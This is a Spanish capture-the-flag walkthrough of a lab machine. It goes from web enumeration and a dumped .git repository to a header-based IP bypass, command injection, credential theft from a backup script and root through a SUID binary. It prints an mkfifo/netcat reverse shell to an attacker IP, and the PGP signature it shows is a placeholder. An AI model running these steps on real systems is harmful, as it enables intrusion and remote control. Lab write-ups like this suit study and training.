sudo nmap -sV -Pn 10.10.204.70
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
80/tcp open http nginx 1.18.0
http://10.10.204.70:80
Figura 1: Portal Web puerto 80
Para dar fe de ello recargamos la página e interceptamos con BurpSuite
Figura 2: Observamos el dominio pwd.harder.local
Veremos el nombre del dominio que debemos añadir al etc /host
echo "10.10.204.70 pwd.harder.local" | sudo tee -a /etc/hosts
Figura 3: Enumeración con Gobuster
http://pwd.harder.local
Figura 4: Acceso a http://pwd.harder.local
Si probamos las credenciales por defecto admin:admin vemos que el login funciona
Figura 5: Acceso al login
Recargamos la página e Interceptamos la petición con BurpSuite.
Si miramos las cabeceras encontramos la versión de nginx y PHP. Además nos devuelve error 400 bad request. Lo que indica que algo nos está faltando en la petición.
Figura 6: Acceso a http://pwd.harder.local
gobuster dir -u http://pwd.harder.local -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30
Figura 7: Escaneo con Gobuster
Si nos fijamos hay directorios .git/ lo que indica que tenemos un repositorio git
sudo apt install pipx
pipx ensurepath
pipx install git-dumper
cd Desktop
mkdir ContenidoWeb
export PATH="$HOME/.local/bin:$PATH"
git-dumper http://pwd.harder.local/ ContenidoWeb
Figura 8: Uso de Git Dumper
Una vez finalizado veremos los archivos
Figura 9: Archivos descargados gracias a Git Dumper
El parámetro h es el hash sha256 de test.com, podemos calcularlo con la misma función que se utiliza en el código con esta herramienta PHP Sandbox https://onlinephp.io/
http://pwd.harder.local/index.php?n[]=1&host=test.com&h=0a857c7e169318a6e419f21c00dc6d9517da664749c1dfa93c7473738220e483
Figura 10: Acceso a la web
Ahora vemos unas credenciales y una URL donde podemos usarlas. Añadimos al /etc/hosts el dominio y accedemos.
echo "10.10.204.70 shell.harder.local" | sudo tee -a /etc/hosts
Accedemos a la web http://shell.harder.local
Figura 11: Acceso a http://shell.harder.local
Debemos insertar las credenciales conseguidas anteriormente:
Figura 12: Insertamos las credenciales encontradas anteriormente
Figura 13: Veremos que la web nos restringe el acceso por IP
Esto podemos bypassear con un proxy como Burp Suite añadiendo la cabecera X-Forwarded-For: 10.10.10.X.
Capturaremos la petición del login con Burp Suite
Figura 14: Petición capturada con Burp Suite
Figura 15: Petición alterada con X-Forwarded-For: 10.10.10.25
Para visualizar la petición debemos dar click derecho → Show response in browser. Veremos una web que nos permite buscar archivos
Figura 16: Acceso a la web http://shell.harder.local
Intentamos mandar un comando y capturamos con Burp Suite.
Figura 17: Petición HTTP insertando un comando
Sabiendo que los comandos se interpretan, buscaremos archivos relacionados con el usuario en el que se ejecuta el sitio: EVS.
find / -name "evs*" 2>/dev/null
Figura 18: Busqueda de archivos del usuario EVS
Encontraremos un archivo llamado backup.sh e intentaremos listar el contenido
cat /etc/periodic/15min/evs-backup.sh
Figura 19: Encontraremos unas credenciales de SSH
Veremos unas credenciales de SSH
ssh evs@pwd.harder.local
Figura 20: Acceso por SSH
Ahora podremos ver la user flag
Figura 21: User Flag
Buscamos en el sistema por ejecutables .sh
find / -name *.sh 2>/dev/null
Figura 22: ejecutables .sh
El que nos llama la atención es run-crypted.sh
ls -la /usr/local/bin
Figura 23: Ejecutables .sh
Figura 24: El archivo execute-crypted sí tiene el bit SUID activado
cat /usr/local/bin/run-crypted.sh
Figura 25: Archivo run-crypted.sh
Figura 26: Archivo run-crypted.sh
cat > revshell.asc << 'EOF'
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.23.73.4 8888 > /tmp/f
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQEzBAEBCAAdFiEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCFAAAAAAAKCRAAAAAAAAAAAAAAAAD/2gAIAQEAAAA
=dead
-----END PGP SIGNATURE-----
EOF
Figura 27: Contenido del archivo revshell.asc
Se guardará como revshell.asc
Se guardará como revshell.asc
nc -lvnp 8888
Figura 28: Listener con netcat
Ahora ejecutaremos el binario vulnerable como root
/usr/local/bin/execute-crypted revshell.asc
Figura 29: Ejecución del script vulnerable
Con la conexión establecida accedemos a la root flag, no nos será necesario estabilizar la Shell, ya que el procedimiento que haremos es simple
Figura 30: Conexión establecida en netcat
cd /root
cat /root/root.txt
Figura 31: Root Flag